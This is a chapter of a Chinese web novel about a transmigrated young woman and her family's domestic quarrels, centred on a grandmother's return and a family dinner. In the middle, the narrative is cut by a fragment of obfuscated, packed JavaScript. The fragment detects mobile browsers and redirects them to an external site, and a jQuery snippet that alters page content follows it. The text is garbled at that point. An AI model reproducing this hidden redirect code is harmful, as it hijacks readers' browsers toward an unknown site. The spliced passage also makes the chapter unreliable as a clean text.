她揉了揉眼睛,想要揉走刚刚那些污秽的画面,缓了许久后她才推开祠堂的暗门走进小房子。
房子里面早已恢复如初,似乎什么都没发生。
赵姨娘选择在这里和别人苟合,估计是这间屋子很少有人过来,隐秘性好,但是赵姨娘不知道,她今日被罚跪在了祠堂。
她也轻轻推开祠堂的后门,门外是一望无际的黑暗,她轻手轻脚的走出来关上门,避着人回到自己院里。
躺在床上辗转反侧,直到天色微亮时才堪堪入睡,果不其然,一觉又睡到了日上三竿。
“小姐,快醒醒。”耳边是零露的声音。
夏笙月伸了个懒腰,抱着被子嘟囔,声音从鼻子里哼出来:“什么事?”
零露把床幔挂好,蹲下来,语气有些着急:“小姐,今日是老夫人回来的日子,刚刚听前院的人说,老夫人的马车就快到了,老爷夫人他们都在门口等着呢,就差小姐了。”
夏笙月刚睡醒脑子反应有些慢,她哼哼两声,又翻了个身打算继续睡。
零露急了,这老夫人可不是好惹的主儿。
去年老夫人过寿的时候,四小姐迟到了一会儿,老夫人就当着众宾客的面呵斥她,丝毫不留情面,四小姐成了京城的笑柄,足足两个月不敢踏出自己的院子。
“小姐,快起来更衣吧,莫要得罪了老夫人。”说着把夏笙月今日要穿的衣裳全部叠好放在床边的矮凳上。
夏笙月睡眼朦胧的坐起来,忍不住打了个哈欠,泪水蓄满眼睛,依旧昏昏欲睡。
零露赶紧扶住她将要倒下去的身子,急得脑门上的汗都出来了:“小姐,洗脸水打好了,衣服也拿来了,您快收拾收拾吧。”
她怕等会儿小姐迟到了,老夫人会为难小姐
夏笙月拍了拍晕晕的脑子:[统统,我好想睡觉啊,你有办法再变一个我出来吗?]
她掀开被子:[再变一个我出来,让她去迎接老夫人,我继续留在这里睡觉。]
系统都有些无语了:[你是我带过最能睡的一届。]
夏笙月:[停停停,我是你带过最差的一届,最懒的一届,最能睡的一届,你是不是就只带过我这一届?]
系统有些心虚,支支吾吾道:[是又怎么样,你可是我的第一届。]
夏笙月干笑两声,起来穿好鞋子,接过零露递过来的毛巾擦脸,抬头看了一眼窗外的阳光。
今日是个大晴天。
她穿了一套最不起眼的衣服,一条月白色半裙,上身罩了一件橘粉色圆领对襟妆花比甲,头发盘在脑后两侧梳出几条小辫。
零露给她戴上一枝素步摇,看着镜子里粉黛未施的美人,她忍不住道:“小姐,您真好看。”
在三小姐还没回府之前,她觉得二小姐好看,但是眼下三小姐比二小姐还要美上几分,是她见过最最好看的人儿。
听她这么说,夏笙月也忍不住看向镜子里的自己,肌肤胜雪,脸颊微红,五官秀美大气,真是一个大美人,她甚是满意的点点头。
等她到大门口的时候,就见夏起道他们早已经在门口站成了一排,每一个人都伸长脖子往外面张望。
夏笙月慢慢走过去站在最边上的角落,努力降低自己的存在感。
“哟,三妹妹终于来了,你若再不来父亲都要派人去请你了。”夏沅月故意大声说,把大家的目光都吸引了过来。
夏笙月耸了耸肩:“二姐姐,瞧你这话说的,我昨日不是被父亲罚了吗,故而今日来晚了些,父亲肯定不会怪罪我的。”说完看向夏起道。
夏起道知道她今日来晚情有可原,也就没再说什么。
夏沅月狠狠的捏了捏手帕,一脸不服。
夏笙月不理她,太阳照在屋檐下,她往后退了一点,却不想撞到了一个人,她转身忙说“对不起”。
“三小姐。”
夏笙月抬头一看,自己撞到的人竟然是赵姨娘,想到昨日小屋子的场景,她脸上表情精彩万分,一时语塞,不知道该说些什么。
赵姨娘捂着手帕咳了两声,声音温和:“三小姐身后就是台阶,莫要往后退了”
“谢……谢谢。”夏笙月觉得有些尴尬。
这赵姨娘看起来温柔老实,为何会有昨日那样的举动,算了算了,不想了,人不可貌相。
太阳正当空,一辆通身气派的马车从长街上驶来,四面用丝绸装饰,轿檐下更是垂挂了几只纯金铃铛,在阳光下闪着金色光芒,马车一动,便叮当作响。
拖着马车的还是两匹难得的千里良驹。
马车两边各有十个丫鬟,走在前面的是打扮富气的老嬷嬷,她微仰着头,神情气派。
夏起道看到熟悉的马车,走下来迎接,众人也都跟着下去,夏笙月走在最后面,书上虽然没有过多介绍这位老夫人,但是刚刚从零露的表现来看,这个老夫人应当不是个好相与的。
轿夫拿出踩墩,老嬷嬷掀开帘子,一只枯老的手从轿子里伸出来,手上没有多少肉,一层皱巴巴的皮包着骨头,手指指节十分粗大,一看就是做了一辈子农活的手。
夏起道连忙去扶:“娘,你可来了。”
里面的老妇“嗯”了一声,从轿子里缓缓走出来,借着夏起道的力慢慢下了马车。
老夫人下车的第一件事便是打量众人,一双精明的小眼睛不断在众人身上扫视,看到梅黎脖子上戴的玉佩时,她表情明显有些不悦,问旁边的夏起道:“梅黎脖子上的玉佩多少钱?”
此话一出,梅黎赶紧将玉佩摘下来藏在袖中,生怕被她要了去。
夏起道自然明白老夫人的意思:“她那玉佩不值钱,就一两银子,赶明儿子给你买一个好的。”
老夫人这才满意的笑了,脸上的褶子往上堆,颧骨高耸。
“大家都来了吧?”她问夏起道。
夏起道点头:“三姑娘一个月前也从庄子上回来了。”说着便朝夏笙月招手,“笙儿,赶紧过来见过祖母。”
被点到名的夏笙月有些不情愿的走上前,面前的老夫人身形瘦高,穿了一件深蓝色祥云布锦衣,脖子上戴了两条金项链,枯瘦的手腕上更是缠了两圈红宝石,就连灰白的头发上也插了两根醒目的夜明珠发簪,整个人看起来贵气极了。
一整个暴发户的打扮。
夏笙月被她身上的宝石晃的有些睁不开眼,礼貌地喊了一声“祖母好”。
老夫人看着眼前标志的人儿,她想了很久才道:“和她母亲长的太像了。”说这话时,她语气冰冷。
她向来不喜欢太好看的女人,好看的女人都是狐媚子,年轻的时候,她在地里辛苦耕种,自家男人就和隔壁的寡妇在家里翻云覆雨。
被她撞破后,她男人竟然还护着那个寡妇,说她五大三粗像个男人,一点都没女人味,他喜欢寡妇那样的美娇娘。
她恨啊,为什么自己不生的好看一些。
她看着面前的夏笙月,瞧她身上一件饰品都没有,这才收回目光,敲了敲拐杖:“大家回屋吧。”
梅黎给夏沅月使了个眼色,夏沅月小跑到老夫人身边,亲昵的搀住她:“祖母,您去别院养病的这半年,孙女可想你了。”
老夫人脸上没什么表情,十分冷淡的应了一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488794|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>夏沅月咬了咬牙,又将梅黎教自己的那些话全部说了出来,可任她嘴皮都说的冒烟了,老夫人面对她这些恭维,眼皮都没抬一下。
众人进了前厅,圆桌上早已摆了一桌好菜。
夏起道将老夫人扶上主位:“母亲,你出去养病的这半年,儿子每日都在想你,也不知道那里的饭菜母亲吃不吃得惯,今日回府,儿子让人做了一桌母亲喜欢吃的菜。”
老夫人拍了拍他的手:“老二有心了。”
饭桌上,老夫人问起夏明月:“明月那丫头找了个好归宿,不知日后能不能帮到正朗。”
她出生农村,在她的观念里,女儿就应该为儿子铺路,她当年连续生了两个儿子,以为能得到丈夫的青睐,哪知道还是没能留住男人。
她回过神,叮嘱秦昭德:“你跟明月说说,让她好好帮帮自己的弟弟。”
秦昭德夹菜的手一顿,笑道:“正朗有他自己的打算,明月也有自己的日子要过。”
儿子的前途虽然重要,但是女儿的幸福又何尝不重要。
听了这话,老夫人把筷子一拍:“明月的日子有正朗的前途重要吗?”
秦昭德沉下脸来,夏起道忙当起和事佬,婆媳两人这才作罢。
老夫人重新拿起筷子,夹了一筷子牛肉,吃的满嘴流油,想当年家里哪有这样的条件,每日有糠叶菜吃都不错了。
“正朗在学堂可还习惯?”她又问。
夏起道说:“正朗这孩子孝顺,听说今日祖母回来,特意向国子监请了半日的假,眼下应该快到了。”
听到自己宝贝大孙子要回来,老夫人高兴的两手一拍,嘴里大叫“好啊”。
宝贝大孙果然没白疼,她高兴得饭也吃不下,眼睛期待的看向门口。
夏起道派人去打听夏正朗到哪了,然后转头对老夫人说:“母亲舟车劳顿了两天,先吃饭,我们边吃边等。”
老妇人舀了一碗莲藕排骨汤,勺子都不用,直接顺着碗沿喝下,油腻的汤汁从下巴流到脖子上,最后落进衣襟里。
夏起道看不惯母亲这样的作派,但还是不好意思开口劝阻,毕竟是自己的母亲,哪有儿子教母亲做事的道理。
老夫人又夹起一大块羊排啃起来,边啃边说:“眼下明月嫁到高府去了,接下来就是沅月的婚事,老二你可有物色什么人家?”
她想让夏沅月嫁一个可以帮助到自己宝贝孙子仕途的人。
梅黎看了夏起道一眼,夏起道斟酌开口:“母亲,明月才刚出嫁,沅儿的婚事暂时不急。”
老夫人放下羊排,抠了一下牙齿缝里的腐肉,放在鼻子边嗅了嗅,然后又塞回嘴里咽下去。
夏笙月被她的动作整的有些反胃。
老夫人砸吧了两下嘴:“依我看,沅儿是庶女,与其嫁个平民百姓做正妻,不如攀上高门当个妾。”
此话一出,梅黎激动的站起来反驳:“沅儿绝不为妾。”
看她这么激动,老夫人冷笑一声:“他娘就是个妾,她当妾怎么了?”
“你当初不也不肯嫁给王书生做正妻,非要上赶着给我们老二当妾,母传女,女儿也一样是个妾。”
“你……”梅黎不敢反驳老夫人,只能小声啜泣,夏沅月听祖母这么侮辱自己的母亲,心里也不是滋味,但是也不敢为母亲争辩。
夏起道用眼神安抚梅黎,又对老夫人说:“沅儿的婚事我自有安排。”
老夫人翻了个白眼,没再说话。
这时,门口小厮进来禀报,说大公子回来了。
秦昭德最先站起来往外走,老夫人也激动的杵着拐杖上前。